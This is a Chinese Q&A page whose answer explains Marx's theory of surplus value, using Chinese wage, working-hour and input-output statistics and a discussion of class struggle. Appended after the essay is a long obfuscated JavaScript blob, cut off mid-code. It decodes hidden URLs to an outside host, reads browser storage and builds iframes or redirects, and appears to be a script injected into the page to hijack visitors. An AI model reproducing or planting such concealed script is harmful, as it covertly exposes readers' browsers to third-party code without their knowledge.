《资本论》解读(四):为什么资本比劳动的收入高?——剩余价值

2025-03-06 05:16:27
推荐回答(1个)
回答1:

关键概念:

劳动力价值——劳动力的价值由生产从而再生产劳动力所必要的劳动时间决定。它可以归结为一定量生活资料的价值。

剩余价值——产品价值超过消耗掉的产品形成要素即生产资料和劳动力的价值而形成的余额。

不变资本——转变为生产资料即原料、辅助材料、劳动资料的那部分资本,在生产过程中并不改变自己的价值量,马克思把它称为不变资本部分,简称不变资本。

可变资本——转变为劳动力的那部分资本,在生产过程中改变自己的价值量,这部分资本不断从不变量转化为可变量,马克思把它称为可变资本部分,简称可变资本。

剩余价值率——剩余价值的相对量,即可变资本价值增殖的比率。由剩余价值同可变资本的比率来决定。马克思把可变资本的这种相对的价值增殖或剩余价值的相对量,称为剩余价值率。

必要劳动时间和必要劳动——用新创造的价值来补偿可变资本的价值,也就是再生产劳动力价值,马克思把进行这种再生产的工作日部分称为必要劳动时间,把在这部分时间内耗费的劳动称为必要劳动。

剩余劳动时间和剩余劳动——工人超出必要劳动的界限做工的时间,并不为工人形成任何价值,这段时间形成剩余价值,马克思把工作日的这部分称为剩余劳动时间,把这段时间内耗费的劳动称为剩余劳动。剩余劳动并不是资本主义特有的现象,但是只有在资本主义生产方式下剩余劳动才表现为剩余价值。

剩余产品——代表剩余价值的那部分产品称为剩余产品。

绝对剩余价值——通过延长工作日而生产的剩余价值叫作绝对剩余价值。

相对剩余价值——通过缩短必要劳动时间、相应地改变工作日的两个组成部分的量的比例而生产的剩余价值叫作相对剩余价值。

一、剩余价值的生产

这个世界上有很多有钱人,有一些人的富裕程度简直让人难以想象。与此同时,还有着数量庞大得多的穷人。比如在中国,不论国家统计局还是一些研究机构公布的基尼系数,都早就远远超过了国际上通用的警戒水平0.4。这十多年来,世界上大多数国家的贫富差距都在快速扩大。2016年瑞信研究院发布的《2016年全球财富报告》显示,占全球10%的那部份最富裕人口控制着全球86%的财富;而世界上大约73%处于底层的人口只拥有全球财富的2.4%。根据印度官方的统计数据,四分之一的印度人,大约2亿5千万,每天的生活费不到1美元。根据2010年3月花旗私人银行公布的《2010财富报告》,2009年中国的百万富翁数量,名列全球第四;同年6月美国波士顿顾问集团的研究报告又指出,2009年中国百万富翁数目增加31%排名世界各国第四位。2016年净资产超过5000万美元的富豪中,中国人数已经排名世界第二。

看看那些有钱人,就会发现,他们发财的方式各有不同,有靠做生意的,有靠矿山的,有炒房炒地皮的,有靠专利的,有靠证券投资的,等等,当然也有靠贪污的,但是绝对没有一个靠工资的。

于是就又遇到了一个老问题,为什么资本的收入会比劳动的收入高?在这一章里,我们先不去考虑地租等等收入。在这里,我们就只考虑资本与劳动。

关于资本家收入的经济学观点有很多,经济学家绞尽脑汁为资本家的高收入辩护。有一种很古老的说法,说资本家的收入实际上是一种工资,就是资本家管理企业的劳动所得。这种说法看起来也很有道理,通常资本家为了维持企业的经营殚精竭虑,确实很辛劳。可是,亚当·斯密就已经指出了这种说法的不正确:管理两百万的资产耗费的劳动和管理一百万资产是没有什么区别的,但是前者的收入一般都是后者的两倍。也就是说,资本家的收入是和他拥有或者管理的资本数量成比例的,而和他付出的劳动量没有什么关系。而且,如果资本家的收入是管理企业的劳动收入的话,那么这笔工资也未免太高了,与正常的劳动收入完全不相称。

第二种说法是,资本家获得收入,是因为他没有把自己的资本挥霍掉或者消费掉,而是用于生产了;他应当因此受到补偿。这种说法也站不住脚。如马克思说的,资本家这么做得到的不是后悔,而是商品。他还说,节欲论是“用阿谀的词句来替换经济学的范畴”。没有理由认为资本家因为“节欲”会得到那么大的回报,而且收入也决不会仅仅因为“节欲”就会自动产生。很多老百姓一辈子节衣缩食,也没有因为他们的“节欲”而得到任何奖赏。况且资本家们也并非总是在“节欲”,他们挥霍起来也是很大手笔的。比如中国已经成为世界上第二大奢侈品消费国,每年要购买大量的名贵跑车、游艇、手表、珠宝、高档服装等等。

第三种说法,就是资本家是承担风险的,他得到的报酬是对他承担的风险的补偿。可是,劳动者通常都是先为老板工作,然后才拿到薪水,也承担了拿不到工资的风险,而且也确实有很多人因此没有拿到工资。即使是在光景好的时候,农民工被拖欠薪水也是很常见的事情,而且一直是劳动纠纷的主要内容。那么,劳动者为什么没有得到补偿呢?资本家也不是特别爱冒险,他肯承担风险多半是因为他看到了赢利的希望。资本家不是因为承担风险而获得利润,而是为了追求利润而去承担风险。只不过有些资本家风险偏好大一些,有些小一些。这就好比赌博:一个赌棍冒着巨大的倾家荡产的风险去赌博,当然是因为他相信自己能赚大钱。

而且,风险本身并不能创造任何财富,经济学中,风险只是不确定性。在投资学中,把某项投资取得各种可能的收益(包括亏损)分布的算数平均数称为预期收入,把分布的标准差称为风险。显而易见,不论冒多大的风险,最终平均收入是不受影响的。而且实际收入是高过还是低于平均收入,完全是偶然的。

按照微观经济学的价值理论,有四种生产要素,分别是劳动,资本,土地和企业家才能,这四种生产要素分别为商品生产做出贡献,从而获得各自的收入,就是工资,利息,地租和利润。这种说法看似很有道理,但实际上却是站不住脚的。获得收入的不是生产要素,而是生产素要的所有者;生产要素长存,但是占有生产要素的方式却是不同的。而且按照一些经济学家的计算,如果不考虑其它生产要素,在生产函数中,资本的贡献为四分之一,劳动的贡献为四分之三。实际上劳动得到的份额远没有那么多。例如,在我国GDP中,劳动者报酬(其中还包括了支付给资产阶级的报酬)只占全部收入的40%左右。如果按照全部社会价值(GDP是增值部分)计算,那劳动者报酬只有16.5%(2012年中国投入产出表)。

资本主义生产真实的过程是,社会分裂成了两个对立的阶级,一个阶级除了自

己的劳动力,没有别的用来谋生的手段。这个阶级有人身自由,用马克思的话说是“自由的一无所有”,成为靠出卖劳动力为生的工人阶级。另一个阶级掌握了生产资料,称为资产阶级。劳动与生产资料的分离在历史上是通过暴力实现的,这个过程被马克思称为“资本的原始积累”,最典型的就是发生在英国的“圈地运动”。马克思之所以说是“资本的原始积累”,是因为“这种积累不是资本主义生产方式的结果,而是它的起点。”同时马克思指出对贫民的暴力在“原始积累”过程中起着重大的作用。现在有人强调“原始积累”解放了生产力是社会的进步云云,其实无非就是用这种口实来为“原始积累”过程中的暴力做辩护。马克思并没有说“原始积累”的后果不是进步,马克思只是指出了所谓资产阶级勤劳至富的传说是不真实的。

工人阶级又称为无产阶级,其实应该是无产者阶级。无产者这个称呼来自于古代罗马,指的是古罗马的一个低下的社会阶层,这个阶层没有财产,依靠社会的救济生活,但他们是自由人。在19世纪,常常用来形容当时的工人,因为工人也是自由人,同样没有财产。不同的是,如法国经济学家西斯蒙第曾经指出过的那样,古代无产阶级靠社会生活,而现代社会靠无产阶级生活。

工人和资本家在劳动力市场上相遇,谈妥一定的条件,工人就被资本家雇佣,而资本家支付给工人工资。马克思说,在劳动力买卖市场上,“占统治地位的只是自由、平等、所有权和边沁。自由!因为商品例如劳动力的买者和卖者,只取决于自己的自由意志。他们是作为自由的、在法律上平等的人缔结契约的。契约是他们的意志借以得到共同的法律表现的最后结果。平等!因为他们彼此只是作为商品占有者发生关系,用等价物交换等价物。所有权!因为每一个人都只支配自己的东西。边沁!因为双方都只顾自己。”

边沁是英国哲学家,是功利主义哲学的代表人物之一。经济学中的效用理论和他就有一定的理论联系。马克思对他的评价甚低,称他为“庸人的鼻祖”,“19世纪资产阶级平庸理智的鼓噪乏味的、迂腐不堪的、夸夸其谈的圣哲”,“资产阶级蠢才中的一个天才”。资本家与工人在交易市场上成交之后,就来到工厂,开始了劳动力的消费过程,也就是商品生产过程。我们在第二章介绍过,商品的价值取决于生产该商品耗费的社会必要劳动时间。在资本主义商品的生产过程中,通过劳动,原料被制造成新商品,原料的价值转移到了新商品之中。劳动用的工具、使用的机器以及设备、厂房等等的价值,以折旧的方式一部分一部分转移到新商品之中,因为它们的寿命很长,并不是一次消耗掉的。此外,还有就是新增加的劳动。工人的劳动形成了新商品的一部分价值,所以新商品的总的价值比原料、劳动工具等等的价值总合要高,这就是资本家利润的来源。

但是新生成的价值并非全部属于资本家。新生成的价值中有一部分用来支付劳动力的价值。资本家购买劳动力,劳动力这种商品的价值,在数量上等于生产和再生产劳动力所需要的商品的价值。劳动力的价值,小于使用劳动力的劳动过程新创造的价值。如果劳动力的价值比使用它创造的价值还高,那就是赔本的生意,这种生意没人会做。

所以,生产过程中,劳动新创造的价值,划分为两部分:一部分用来支付劳动力的价值,表现为工资;剩下的部分,就是马克思所说的剩余价值。利润、地租、利息等等各种收入都来源于剩余价值。

剩余价值的概念非常重要,这是马克思最重要的经济学发现。在马克思之前,经济学家们总是被剩余价值各种具体的表现,比如利息、利润、地租等等所迷惑,所以在解释各种收入的时候总是陷入混乱。马克思指出,利息、利润和地租都来源于剩余价值,所以,首先要研究剩余价值的规律,然后才能正确解释利息、利润和地租的规律。

在资本家的全部资本中,用来支付原料、辅助材料、劳动资料等等的生产资料的部分,马克思称为不变资本,因为这部分资本在生产过程中并不改变自己的价值量。用来购买劳动力的那部分资本,因为劳动会创造新价值,所以这部分资本在生产过程中会带来新的价值量,马克思称为可变资本。马克思说,“资本的这两个组成部分,从劳动过程的角度看,是作为客观因素和主观因素,作为生产资料和劳动力相区别的;从价值增殖过程的角度看,则是作为不变资本和可变资本相区别的。”也就是说,不变资本与可变资本的划分是从价值增殖的角度,以资本在价值增殖中起的不同作用为标准。不变资本与可变资本的划分是马克思做出的,在马克思之前,经济学家只区分了固定资本与流动资本。不变资本与可变资本的划分科学地说明了剩余价值来自何处,并对平均利润率形成的理论起着决定性的作用。至于固定资本与流动资本的区别则将在后边章节讲到,这个区分对认识经济周期有着重要的意义。

二、剩余价值率

因为工人出售劳动力,只获得劳动力价值,所以很显然,靠工资是不会发财致富的。在不同的社会条件下,工资水平会有所不同。现在发达国家的工人的生存状况,已经不像19世纪那样悲惨了。但是即便如此,发达国家的工人也只不过能保证自己过体面的生活而已。一遇到经济危机,他们的生活还是要受到严重影响。比如,在次贷金融危机中,2009年10月美国的失业率高达10.2%,到了2011年仍然在10%左右徘徊。大批美国人丧失了住房,还背负着沉重的信用卡债务。在发展中国家,工人的生活水平还是相当低的。比如,2015年,我国城镇单位就业人员平均月工资只有5170元,城镇私营单位就业人员则只有3299元。虽然有一些高收入的工作岗位,但是这些岗位在总的就业岗位中占的比例小,而且对从业者的要求非常高。一到经济不景气,就有很多人在打居民储蓄的主意,说中国人储蓄太多了,应该多消费。只要中国人多消费,就可以拉动内需,促进经济增长。可是,中国人民银行行长周小川曾说,中国居民的储蓄实际上比较稳定,最近几年中国的储蓄增加较快,主要是企业储蓄增加了。国家统计局浙江调查总队在2008年12月发布的《浙江居民收入差距对消费需求影响实证分析》中,干脆地说,“近年来浙江居民收入差距的不断扩大,是造成居民消费需求不足的重要原因。”“重要原因”其实是一种官方的委婉说法,实际上应该是“主要原因”。其实即使在经济发达地区,普通劳动者的收入其实也不算高。这一点我们在第二十四章还会具体谈到。

马克思用字母c代表不变资本价值,字母v代表可变资本价值,字母m代表剩余价值。m/v,也就是剩余价值量与可变资本量的比例,称为剩余价值率。在工人每天的劳动中,用来生产自己工资的那部分劳动时间,马克思叫作必要劳动时间;生产剩余价值的劳动时间,马克思叫作剩余劳动时间。因为价值是劳动时间,所以剩余价值率也等于剩余劳动/必要劳动。剩余劳动是一直存在的,农民交给地主的租子也是剩余劳动,但是只有在资本主义生产方式下剩余劳动才成为剩余价值。在资本主义制度下,剩余价值率体现了社会富裕的程度,剩余价值率越高,剩余劳动或者剩余产品就越多,从而占有剩余价值的人就越富裕。马克思说,“富的程度不是由产品的绝对量来计算,而是由剩余产品的相对量来计算。”现代社会贫富差距的迅速扩大,体现了剩余价值率的提高。

剩余价值率从根本上体现了资本家的剥削程度。工资和剩余价值分别占新价值的比例是多少呢?这实在是个很难回答的问题,因为在资本主义社会中,人们尽量回避和剥削有关的话题,所以也就缺少这方面的统计资料。不过,我们可以借助一些数据粗略地估算一下。根据2012年中国投入产出表,如果总产出的价值是100%,那么,其中物质投入占了66.5%,新增价值为33.5%;在这33.5%中,用来补偿雇员的部分是16.5%,其余17%形成了利润、税收、折旧等等。也就是说,剩余价值率为103%(17%/16.5%)。如果计算剩余价值与不变资本与可变资本的百分比,就只有20.5%(17%/83%),这就是利润率。在后边的章节中,我们会介绍剩余价值率和利润率的关系。

这里需要说明一点,就是不同行业的剩余价值率不一定是相同的。在2012年的这份投入产出表中,不同经济部门的剩余价值率从14.9%到2024%不等。因为不同行业的生产条件不一样,劳动强度不一样,资本结构也不一样。

三、绝对剩余价值和相对剩余价值

马克思在分析剩余价值的时候,提出了绝对剩余价值和相对剩余价值的概念。所谓绝对剩余价值,就是在工人工资不变的前提下,延长工人的工作时间,从而增加剩余价值量。在19世纪的英国,工人的工作时间最长曾经达到每天20小时,以至于1860年1月17日的伦敦《每日电讯》报道说,“如果一个城市竟举行公众集会,请求把男子每天的劳动时间限制为18小时,那我们将作何感想呢!”从1850年英国的《十小时工作法》起,各国开始陆续公布了一系列的劳动立法,来限制工作日。经过欧美工人阶级的长期斗争,才有了现在通行的8小时工作制。苏联成立后,在20年代施行了7小时工作制,后来法国也施行了7小时工作制。不过现在法国的7小时工作制名存实亡了。日本政府从20世纪80年代起实施研修制度,供发展中国家人员学习技术,但是近年来曾经多次出现中国研修生指责受雇企业剥削的事情。日本“国际研修协力机构”调查显示在日外国研修生因大脑和心脏疾病死亡的比例比同龄日本人高出一倍。2009年6月22日,3名来自中国的研修生在日本外国研修生问题律师联络会代表的陪同之下,在记者会上指控雇用他们的日本企业剥削劳动力。一名研修生说,他曾经被迫每个月加班120小时,工资却折合不到8千元人民币,而且企业安排他的住处竟是一个集装箱。企业还在去年年底突然解雇他。另外一名研修生则说,原先对方告诉他到日本是从事木匠工作,实际上却从事对健康伤害极大的石棉清除工作。

我国是8小时工作制,实际上很多单位是早上8点半到下午5点半,或者早上9点到下午6点,事实上是9小时。午餐和休息时间本来就应该是包括在8小时工作时间之内的。我们也知道,特别是在大量雇佣农民工的工厂,工人劳动时间特别长,工作环境特别恶劣。在一些“血汗工厂”,每天工作十几个小时是很常见的事情。根据国家统计局农村司公布的《2009年农民工监测调查报告》,2009年以受雇形式从业的外出农民工平均每个月工作26天,每周工作58.4小时。这大体上相当于每周休息1天,每天平均工作时间在9.7小时以上。其中,每周工作时间多于《劳动法》规定的44小时的占89.8%。2016年的这一检测调查报告显示情况有所好转,外出农民工月从业时间平均为24.9天,日从业时间平均为8.5个小时。但是日从业时间超过8小时的农民工占64.4%,周从业时间超过44小时的农民工占78.4%,仍然很高。2009年平均劳动时间最长的是住宿餐饮业的农民工,他们每周的工作时间超过60小时,而他们的月均收入只有1264元,是农民工就业的几个主要行业中收入最低的。2016年报告没有这方面的数字。

相对剩余价值是指,在工作日不变的前提下,通过增加劳动强度、提高工作效率等等方法,使必要劳动时间缩短,剩余劳动时间延长,从而增加剩余价值量。在讲述分工的第三章我们已经提到了分工和机器怎样提高工作效率。方法其实还不只通过加强分工和改善设备。举一个最近的例子。美国金融危机爆发之后,出现了大量裁员的现象。2009年6月4日,美国劳工部报告说,第一季度生产率提高了1.6%。劳工部的这份报告还提到,工人工作时间数减少了9个百分点,而同时产出下降的幅度只有7.6个百分点。这说明,虽然在经济危机期间,美国企业裁员的幅度还是过高了,仍然就业的员工不得不完成更多的工作。事实上,在整个2009年,美国劳动生产率上升了2.5%,工时减少了5.1%。不但工人的收入没有随劳动生产率上升而提高,美国的雇佣成本反而出现了显著下降。所以,大家可以看到,就算是经济危机,资本家也还是有办法捞一笔的。

四、阶级斗争

生产过程中新生成的价值,被分割成工资和剩余价值两块,所以很明显,如果总量不变,那么哪一块增加了,另外一块就减少了。正因此,工人阶级与资产阶级的根本利益是对立的,不可调和的。这就是阶级斗争的经济基础。现在一讲对立、斗争,有些人就会紧张,其实世界上到处都是矛盾,到处都是斗争。阶级斗争也是很平常的事情,完全不值得大惊小怪。我们每个人都曾经要求过涨工资,要求过增加福利,要求过改善工作环境。而我们的老板们都想办法不涨或者少涨工资,给我们分派越来越多的任务和指标,工作场所录像,有时候还搞电话录音,限制上网,当然还有禁止办公室恋爱等等,这些说穿了,都是阶级斗争的体现。阶级斗争有时候是那种疾风骤雨、你死我活式的,甚至会发展成为大规模的社会暴力,但是多数情况下,虽然并没有那么暴烈的行动,但是阶级斗争仍然渗透入日常生活之中,体现在哪怕是最常见的小事,它在根本上是不同阶级之间利益的对立。

这种对立体现在方方面面,经济的,政治的,意识形态的。2009年4月有报道说,法国失业率经突破8%,达到两年来的最高水平。仅2009年头两个月,就有将近17万人失去工作。与此同时使法国人感到愤怒的是,不断有公司高管领取巨额奖金以及离任高管获得高额离职金的报道。于是(在该报道的)几个星期以来,法国各地有6家公司在裁员之后,发生了心怀不满的工人们拘禁公司主管的事件。这些主管不是被押在巴士底狱,而是被囚禁在四星级以下的旅馆里。绑架老板的过程是礼貌的,涉及绑架事件的一名雇员说,情况并不那么糟糕,老板们吃得很好。民意调查机构IFOP公司的调查结果显示,大约三分之一接受调查的人支持“绑架老板”的行动,65%的人对此表示理解。只有7%的法国人谴责这种行为。绑架行动很有效果,在绝大部分案例中,公司都同意重新进行有关工人工资的谈判,或者增加了被解雇员工的遣散费。这种行动甚至在向其他国家扩散。在比利时,菲亚特汽车公司的愤怒员工2009年4月9日把三名公司主管扣押在他们的办公室,要求重新谈判拟议中的裁员条件。

在美国,也发生了工人占厂的行动,后来还爆发了声势浩大的“占领华尔街”运动。该运动席卷整个美国,并在一些城市中爆发了警民冲突。

有一些人,总想抹煞阶级对立和斗争。他们硬说老板与员工的利益是一致的。事实上,我认识的大大小小的老板也不算少了,他们中却没有一个是这么想的。老板们都很坦率,他们都认为是他们是养活员工,员工是占了他们的便宜。多数企业在完成压缩成本的指标时,首先想到的办法就是冻结甚至降低工资水平,或者通过裁员以减少工资总额。

因为利益关系的对立,所以一旦出现危机,一方就会想办法把损失转嫁给另一方。这本身就是一种斗争。在发达国家围绕着养老金和医疗保险、削减赤字与增加就业岗位等等展开的政府、资本家与工人之间的各种错综复杂的斗争,从根本上讲都是阶级斗争。

按照马克思的观念,阶级斗争是阶级社会发展的主要动力。资本主义生产方式消灭了从前的各种复杂的社会阶层,使社会分裂为简单对立的土地所有者、资本家和工人三个阶级。同时资本主义生产方式的内在矛盾,使彻底消灭阶级与阶级差别,进而消灭阶级斗争成为直接的社会任务。工人阶级必须承担起消灭资本主义生产方式的历史责任,马克思说,“无产阶级如果不是革命的,那它就什么都不是。”工人阶级消灭资本主义生产方式的历史责任,是通过阶级斗争来实现的。工人阶级的阶级意识,也是通过阶级斗争形成的。列宁引用过一句话,“每一次罢工的后边都隐藏着社会主义革命的九头蛇。”

马克思说,“作为劳动过程和价值形成过程的统一,生产过程是商品生产过程;作为劳动过程和价值增殖过程的统一,生产过程是资本主义生产过程,是商品生产的资本主义形式。”剩余价值理论是马克思经济学的核心内容,必须紧紧抓住这个核心,才能领会到马克思经济学的实质,并掌握其它相关内容。经济学决不仅仅是一门技术科学,它的核心是现实的利益。实际上,在马克思之前的经济学家已经以这样或者那样的方式意识到了剩余价值的存在,并对剩余价值进行了或多或少的说明。但是,只有马克思第一次科学的说明了剩余价值具体的产生过程。恩格斯曾经举过一个化学史上的例子来说明马克思的贡献。在拉瓦锡之前,已经有化学家事实上从空气中分离出氧气,但是他们并不知道自己得到了什么,还在用当时流行的“燃素”来解释。只有拉瓦锡真正意识到了不但不能用“燃素”说来解释这种气体,相反,这种气体彻底驳倒了“燃素”说,从而引发了化学理论上的革命。

资本的天性就是追逐剩余价值。资本的本质是资本家与工人之间的生产关系。“资本自行增殖的秘密归结为资本对别人的一定数量的无酬劳动的支配权。”(马克思)这一点将在下一章《工资》中加以说明。

小结:

剩余价值理论是马克思最主要的理论贡献,和唯物史观一起被恩格斯称为马克思的两大主要科学发现。如果说劳动价值论是马克思主义经济学的基础,那么剩余价值理论就是马克思主义经济学的核心。马克思关于资本的学说,都是建立在剩余价值理论之上的。所以一定要深入了解剩余价值理论。这部分内容请见《资本论》第一卷第三篇《绝对剩余价值的生产》,第四篇《相对剩余价值的生产》和第五篇《绝对剩余价值和相对剩余价值的生产》。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 